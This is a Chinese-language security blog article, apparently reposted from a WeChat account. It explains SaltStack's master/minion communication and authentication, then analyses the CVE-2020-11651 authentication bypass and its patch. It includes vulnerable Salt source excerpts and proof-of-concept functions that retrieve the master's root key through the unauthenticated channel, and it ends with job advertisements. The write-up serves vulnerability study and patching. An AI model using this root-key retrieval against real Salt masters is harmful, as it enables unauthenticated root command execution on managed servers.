SaltStack 的通讯及安全机制和CVE-2020-11651(身份验证绕过漏洞)分析(一)
2022-7-30 11:40:11 Author: 白帽子(查看原文) 阅读量:24 收藏

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

1.Saltstack是什么

Salt 是:

一个配置管理系统,能够维护预定义状态的远程节点(比如,确保指定的报被安装,指定的服务在运行)
一个分布式远程执行系统,用来在远程节点(可以是单个节点,也可以是任意规则挑选出来的节点)上执行命令和查询数据。
开发其的目的是为远程执行提供最好的解决方案,并使远程执行变得更好,更快,更简单。

2.使用简单

既要考虑大规模部署,又要考虑小规模系统,提供适应多种场合的应用让人沮丧,但Salt非常容易设置和维护,而不用考虑项目的大小。
从数量可观的本地网络系统,到跨数据中心的互联网部署,Salt设计为在任意数量的server下都可工作。

salt的拓扑使用简单的server/client模式,需求的功能内建在一组daemon中。
salt在几乎不改动配置的情况下就可以工作,也可以调整从而满足特定的需求

3.并行执行

Salt的核心功能

使命令发送到远程系统是并行的而不是串行的

使用安全加密的协议

使用最小最快的网络载荷

提供简单的编程接口

Salt同样引入了更加细致化的领域控制系统来远程执行,使得系统成为目标不止可以通过主机名,还可以通过系统属性。

No.1

SaltStack的通讯架构模型

Salt 采用服务端-代理的通讯模型(也可以通过 SSH 方式实现非代理模式)。

服务端称为 Salt master,代理端称为 Salt minion。

Salt master 负责发送命令予 Salt minion,随后收集并展示这些命令的执行结果。

一台 Salt master 可以管理几千台的系统。

No.2

SaltStack的通讯模型

Salt master 与 minion 通讯采用的是”订阅-发布“的模式。

通讯的连接由 Salt minion 发起,这意味着 minion 无须开启进向的端口(注意:此方式极大地简便了网络规则的设定)。

而 Salt master 的 4505 和 4506 端口(默认)必须开启,以接收外部的连接。其中端口功能如下表所示。

通讯模型如下图所示。

No.3

 Salt minion验证机制

(1).当 minion 启动时,其将搜索网络中的 master。

当找到时, minion 将发送公钥给 Salt master,从而实现初次握手。其过程如下图所示。

(2).当初次握手后,Salt minion 的公钥将被保存在服务端,此时 master 需要使用过 salt-key 命令接收公钥(也可以采用自动机制)。注意:在 Salt minion 的公钥被接收前,Salt master 是不会将密钥发放给 minion 的,也就是说 minion 在此之前不会执行任何命令。

(3).当 Salt minion 的公钥被接收后,Salt master 就会把公钥连同用于加解密 master 信息的可变动 AES 密钥发送至 Salt minion。其中,返回给 Salt minion 的 AES 密钥由 minion 的公钥加密,可由 Salt minion 解密。

No.4

SaltStack的安全通讯机制

当完成验证后,Salt master 与 Salt minion 基于 AES 密钥进行加解密操作。AES 加密密钥基于最新的 TLS 版本,使用显式初始化向量和 CBC 块链接算法生成。

No.5

SaltStack的可变动密钥

Salt 的可变动 AES 密钥用于加密由 Salt master 发送至 Salt minion 的作业,也用于加密至 Salt master 文件服务的连接。每次 Salt master 重启或 Salt minion 解除验证后,该可变动的 AES 密钥均会自动更新

No.6

SaltStack的加密通讯信道

Salt master 与 minion 间的公开通讯均以同一个可变动 AES 密钥加密。但对于 Salt master 与 minion 的直接通讯(点对点),每个会话都采用一个唯一的 AES 密钥

例如:统一公布的作业采用可变动 AES 密钥进行加密;而以 Salt pillar 格式发送 minion 专用数据时,master 与每个 minion 都会有独立的会话,且每个会话采用唯一的 AES 密钥进行加密。

No.7

SaltStack用户接入控制

在命令发送至 minion 之前,Salt 将会检查发布者访问控制列表(ACL),确保接收到命令的 minion 具有正确的权限。如果权限符合,则命令将被发送至对应 minion,否则将返回报错。Salt 还可以返回将响应命令的 minion 列表,以此确定返回是否结束。

No.8

下载安装

官网:
https://github.com/saltstack/salt
下载salt-3000.tar.gz

安装
https://pypi.org/simple/salt/
tar -xvzf salt-3000.tar.gz

python3 setup.py install安装

启动 sudo salt-master

启动完成

监听两个端口4505和4506

No.9

漏洞细节

身份验证绕过漏洞(CVE-2020-11651)
漏洞分析:

ClearFuncs类处理未经身份验证的请求,并且调用_send_pub()方法,该方法可用于在master上对消息进行排队(zeromq)。此类消息以root身份运行任意命令。

salt/master/master.py

第2196行

 def _send_pub(self, load):
   '''
   Take a load and send it across the network to connected minions
   '''
   for transport, opts in iter_transport_opts(self.opts):
       chan = salt.transport.serv

ClearFuncs类调用_prep_auth_info()方法,该方法返回用于验证master上本地root用户命令的“root key”。

然后,可以使用此“root key”在master上远程调用管理命令。

salt/master/master.py

第2153行

def _prep_auth_info(self, clear_load):
   sensitive_load_keys = []
   key = None
   if 'token' in clear_load:
       auth_type = 'token'
       err_name = 'TokenAuthenticationError'
       sensitive_load_keys = ['token']
   elif 'eauth' in clear_load:
       auth_type = 'eauth'
       err_name = 'EauthAuthenticationError'
       sensitive_load_keys = ['username', 'password']
   else:
       auth_type = 'user'
       err_name = 'UserAuthenticationError'
       key = self.key

No.10

poc利用

读取出key(使用https://github.com/dozernz/cve-2020-11651)

   def ping_master():
   print("Attempting to ping master at "+master_ip)
   try:
       msg = {"cmd":"ping"}
       response = clear_channel.send(msg, timeout=3)
       if response:
           return True
   except salt.exceptions.SaltReqTimeoutError:
       return False

   return False

def get_rootkey():
   try:
       response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
       for i in response:
           if isinstance(i,dict) and len(i) == 1:
               rootkey = list(i.values())[0]
               print("Retrieved root key: " + rootkey)
               return rootkey

       return False
       
   except:
       return False

读取root key

No.11

补丁分析

为了修复CVE-2020-11651漏洞,SaltStack定义了公开的方法,用户可以在明文消息中指定这些方法。这是通过一个名为get_method()的新函数完成。

使用新函数get_method()

函数get_method()检查公开的方法

传输方法:ping、publist、get_token、mk_token、wheel、runner

No.12

安装补丁

python -c "import imp; print(imp.find_module('salt')[1])"
patch -p2 -d /usr/lib/python2.7/dist-packages/salt < 2017.7.8_CVE-2020-11651.patch
systemctl restart salt-master
service salt-master restart

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 [email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246208&idx=1&sn=036e349efa7fa201fefcd7aed4ad82ca&chksm=82ea57e9b59ddeff60104431df106edd228a17ae4af8ff4e5e9e41dbe160da1a60957e1db644#rd
如有侵权请联系:admin#unsafe.sh